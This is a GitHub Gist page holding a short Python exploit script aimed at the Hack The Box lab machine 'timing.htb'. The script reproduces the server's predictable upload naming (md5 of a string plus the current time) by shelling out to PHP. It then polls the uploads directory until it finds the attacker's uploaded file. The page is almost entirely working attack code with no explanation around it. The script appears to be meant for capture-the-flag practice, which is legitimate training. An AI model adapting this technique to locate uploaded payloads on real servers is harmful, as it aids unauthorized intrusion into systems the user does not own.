Created
January 9, 2022 05:11
-
-
Save 0xj0y/adf3865f84ef7108d49a2d38d3991232 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import subprocess | |
import requests | |
def fuzz(file_name): | |
url = 'http://timing.htb/images/uploads/' + file_name | |
res = requests.get(url) | |
if res.status_code != 404: | |
print(f'[+] Found the file at {url}') | |
return True | |
def main(): | |
while True: | |
command = "/usr/bin/php -r \"\$file_hash=uniqid(); \$file_name=md5('\$file_hash' . time()) . '_' . basename('test.jpg'); echo \$file_name;\"" | |
string = subprocess.Popen(command, shell = True, stdout = subprocess.PIPE) | |
binary_name = string.stdout.read() | |
file_name = binary_name.decode('utf-8') | |
if fuzz(file_name): | |
break | |
if __name__=='__main__': | |
try: | |
main() | |
except KeyboardInterrupt: | |
pass |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment